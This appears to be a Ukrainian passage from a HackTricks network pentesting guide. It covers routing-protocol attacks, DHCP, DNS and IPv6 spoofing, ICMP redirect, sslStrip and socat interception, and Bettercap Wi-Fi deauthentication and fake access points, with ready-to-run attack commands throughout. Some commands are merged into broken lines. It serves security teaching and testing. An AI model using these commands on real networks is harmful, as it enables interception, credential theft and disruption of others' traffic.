FHRP (Протокол першого кроку резервування) - це клас мережевих протоколів, призначених для створення гарячої резервної системи маршрутизації. За допомогою FHRP фізичні маршрутизатори можуть бути об'єднані в один логічний пристрій, що збільшує стійкість до відмов та допомагає розподілити навантаження.
Інженери компанії Cisco Systems розробили два протоколи FHRP, GLBP та HSRP.
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
Відомо, що існують три версії протоколу маршрутизації інформації (RIP): RIP, RIPv2 та RIPng. Датаграми надсилаються пірингам через порт 520 за допомогою UDP за допомогою RIP та RIPv2, тоді як датаграми транслюються на UDP-порт 521 через мультікаст IPv6 за допомогою RIPng. Підтримка аутентифікації MD5 була введена в RIPv2. З іншого боку, в RIPng не включено вбудовану аутентифікацію; замість цього використовується необов'язкові заголовки IPsec AH та ESP в мережі IPv6.
- RIP та RIPv2: Комунікація відбувається через UDP-датаграми на порту 520.
- RIPng: Використовує UDP-порт 521 для трансляції датаграм через мультікаст IPv6.
Зверніть увагу, що RIPv2 підтримує аутентифікацію MD5, тоді як RIPng не має вбудованої аутентифікації, покладаючись на заголовки IPsec AH та ESP в IPv6.
Атаки на EIGRP
EIGRP (Протокол покращеної внутрішньої шлюзової маршрутизації) - це динамічний протокол маршрутизації. Це протокол вектора відстані. Якщо немає аутентифікації та налаштування пасивних інтерфейсів, зловмисник може втрутитися в маршрутизацію EIGRP та спричинити затруєння таблиць маршрутизації. Крім того, мережа EIGRP (іншими словами, автономна система) є плоскою і не має сегментації на будь-які зони. Якщо атакувач впроваджує маршрут, ймовірно, що цей маршрут розповсюдиться по всій автономній системі EIGRP.
Для атаки на систему EIGRP потрібно встановити сусідство з легітим маршрутизатором EIGRP, що відкриває багато можливостей, від базового розвідування до різних впроваджень.
FRRouting дозволяє вам реалізувати віртуальний маршрутизатор, який підтримує BGP, OSPF, EIGRP, RIP та інші протоколи. Вам просто потрібно розгорнути його на системі вашого атакувальника, і ви фактично можете претендувати на роль легітимного маршрутизатора в домені маршрутизації.
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly має можливості для перехоплення мовлення EIGRP (Протокол покращеної внутрішньої шлюзової маршрутизації). Також він дозволяє впровадження пакетів, які можуть бути використані для зміни конфігурацій маршрутизації.
OSPF
У протоколі Open Shortest Path First (OSPF) аутентифікація MD5 часто використовується для забезпечення безпечного зв'язку між маршрутизаторами. Однак ця захисна міра може бути скомпрометована за допомогою інструментів, таких як Loki та John the Ripper. Ці інструменти здатні захоплювати та розкривати хеші MD5, розкриваючи аутентифікаційний ключ. Як тільки цей ключ отримано, його можна використовувати для введення нової маршрутної інформації. Для налаштування параметрів маршруту та встановлення компрометованого ключа використовуються відповідно вкладки Injection та Connection.
- Захоплення та розкриття хешів MD5: Для цього використовуються інструменти, такі як Loki та John the Ripper.
- Налаштування параметрів маршруту: Це робиться через вкладку Injection.
- Встановлення компрометованого ключа: Ключ налаштовується під вкладкою Connection.
Інші загальні інструменти та джерела
- Above: Інструмент для сканування мережевого трафіку та пошуку вразливостей
- Ви можете знайти деяку додаткову інформацію про мережеві атаки тут.
Підроблення
Атакувальник налаштовує всі мережеві параметри (ШПД, IP, DNS) нового учасника мережі, надсилаючи фальшиві відповіді DHCP.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Підробка
Перевірте попередній розділ.
ICMPRedirect
ICMP Redirect полягає в тому, що відправляється пакет ICMP типу 1 код 5, який вказує, що атакувальник є найкращим шляхом до IP. Потім, коли жертва хоче зв'язатися з IP, вона відправить пакет через атакувальника.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
Атакуючий буде розв'язувати деякі (або всі) домени, які запитує жертва.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Налаштування власного DNS за допомогою dnsmasq
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Локальні шлюзи
Часто існує кілька маршрутів до систем та мереж. Після створення списку MAC-адрес у локальній мережі використовуйте gateway-finder.py для ідентифікації хостів, які підтримують пересилання IPv4.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Підробка LLMNR, NBT-NS та mDNS
Для локального вирішення імен хостів, коли DNS-запити невдались, системи Microsoft покладаються на Link-Local Multicast Name Resolution (LLMNR) та NetBIOS Name Service (NBT-NS). Так само, Apple Bonjour та Linux zero-configuration використовують Multicast DNS (mDNS) для виявлення систем у мережі. Через відсутність аутентифікації цих протоколів та їхню роботу через UDP, розсилання повідомлень, їх можуть використовувати зловмисники з метою перенаправлення користувачів на шкідливі сервіси.
Ви можете підробити сервіси, які шукаються хостами, використовуючи Responder для відправлення фальшивих відповідей.
Докладніше про як підробити сервіси за допомогою Responder.
Підробка WPAD
Браузери зазвичай використовують протокол Web Proxy Auto-Discovery (WPAD) для автоматичного отримання налаштувань проксі. Це включає отримання конфігураційних даних з сервера, зокрема через URL, такий як "http://wpad.example.org/wpad.dat". Виявлення цього сервера клієнтами може відбуватися за допомогою різних механізмів:
- Через DHCP, де виявлення сприяється використанням спеціального коду 252.
- Через DNS, що включає пошук імені хоста з позначкою wpad у локальному домені.
- Через Microsoft LLMNR та NBT-NS, які є резервними механізмами у випадках, коли DNS-запити не вдаються.
Інструмент Responder використовує цей протокол, діючи як зловмисний сервер WPAD. Він використовує DHCP, DNS, LLMNR та NBT-NS, щоб ввести клієнтів в оману і підключитися до нього. Для докладнішої інформації про те, як можуть бути підроблені сервіси за допомогою Responder, перевірте це.
Підробка SSDP та UPnP пристроїв
Ви можете пропонувати різні сервіси в мережі, щоб обманути користувача та введення паролів у відкритому тексті. Додаткова інформація про цей атаку в Підробка SSDP та UPnP пристроїв.
Підробка сусідів IPv6
Ця атака дуже схожа на ARP-підробку, але в світі IPv6. Ви можете змусити жертву вважати, що IPv6 шлюза має MAC-адресу атакуючого.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
Зловмисне підроблення/затоплення маршрутизаторних оголошень IPv6
Деякі ОС налаштовані за замовчуванням на встановлення шлюзу з пакетів RA, відправлених в мережу. Щоб визначити зловмисника як маршрутизатор IPv6, ви можете використовувати:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
Заміна DHCP для IPv6
За замовчуванням деякі операційні системи намагаються налаштувати DNS, читаючи пакет DHCPv6 в мережі. Тоді зловмисник може відправити пакет DHCPv6, щоб налаштувати себе як DNS. DHCP також надає IPv6 жертві.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (фальшива сторінка та впровадження коду JS)
Інтернет-атаки
sslStrip
Основна мета цієї атаки полягає в тому, що у випадку, якщо користувач намагається отримати доступ до сторінки HTTP, яка перенаправляється на версію HTTPS, sslStrip буде підтримувати HTTP-з'єднання з клієнтом та HTTPS-з'єднання з сервером, щоб мати можливість перехоплювати з'єднання у звичайному тексті.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Додаткову інформацію можна знайти тут.
sslStrip+ та dns2proxy для обхіду HSTS
Відмінність між sslStrip+ та dns2proxy від sslStrip полягає в тому, що вони будуть перенаправляти, наприклад, www.facebook.com на wwww.facebook.com (зверніть увагу на додаткову "w") і встановлять адресу цього домену як IP атакуючого. Таким чином, клієнт буде підключатися до wwww.facebook.com (атакуючого), але за кадром sslstrip+ буде зберігати реальне з'єднання через https з www.facebook.com.
Мета цієї техніки - уникнути HSTS, оскільки wwww.facebook.com не буде збережено в кеші браузера, тому браузер буде обманутий для виконання аутентифікації facebook через HTTP.
Зверніть увагу, що для виконання цього нападу потерпілий повинен спробувати спочатку отримати доступ до http://www.faceook.com і не https. Це можна зробити, змінивши посилання на сторінці http.
Додаткову інформацію можна знайти тут, тут та тут.
sslStrip або sslStrip+ більше не працюють. Це через те, що в браузерах заздалегідь зберігаються правила HSTS, тому навіть якщо користувач вперше отримує доступ до "важливого" домену, він отримає до нього доступ через HTTPS. Також зверніть увагу, що заздалегідь збережені правила та інші згенеровані правила можуть використовувати прапорець includeSubdomains
тому приклад з _wwww.facebook.com_ зазначений вище більше не працюватиме, оскільки facebook.com використовує HSTS з includeSubdomains
.
TODO: easy-creds, evilgrade, metasploit, factory
TCP прослуховування на порту
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL прослуховування на порту
Згенерувати ключі та самопідписаний сертифікат
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Прослуховування за допомогою сертифіката
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Слухати за допомогою сертифіката та перенаправляти на хости
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Іноді, якщо клієнт перевіряє, що СА є дійсним, ви можете подавати сертифікат іншого хоста, підписаний СА. Ще одне цікаве тестування - це подача сертифіката запитаного хоста, але самопідписаного.
Інші речі для тестування - спробуйте підписати сертифікат дійсним сертифікатом, який не є дійсним СА. Або використовуйте дійсний відкритий ключ, змушуйте використовувати алгоритм, як, наприклад, Діффі-Геллман (той, що не потребує розшифрування чого-небудь за допомогою реального приватного ключа), і коли клієнт запитує дослідження реального приватного ключа (наприклад, хеш), надсилайте фальшиве дослідження і очікуйте, що клієнт цього не перевірить.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Активні примітки про відкриття
Враховуйте, що коли пакет UDP надсилається на пристрій, який не має запитаного порту, відправляється ICMP (Порт недоступний).
ARP відкриття
Пакети ARP використовуються для виявлення IP-адрес, які використовуються в мережі. ПК повинен надіслати запит для кожного можливого IP-адреси, і лише ті, які використовуються, відповідатимуть.
mDNS (multicast DNS)
Bettercap надсилає запит MDNS (кожні X мс) для _services_.dns-sd._udp.local, машина, яка бачить цей пакет, зазвичай відповідає на цей запит. Потім він шукає лише машини, які відповідають на "services".
Інструменти
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap розсилає пакети на порт 137/UDP, запитуючи ім'я "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
SSDP (Simple Service Discovery Protocol)
Bettercap розсилає пакети SSDP, шукаючи всі види сервісів (UDP Port 1900).
WSD (Web Service Discovery)
Bettercap розсилає пакети WSD, шукаючи сервіси (UDP Port 3702).
Посилання
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Підказка щодо багів: зареєструйтесь на Intigriti, преміальну платформу для пошуку багів, створену хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію в рекламі на HackTricks або завантажити HackTricks у PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Дізнайтеся про Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud github репозиторіїв.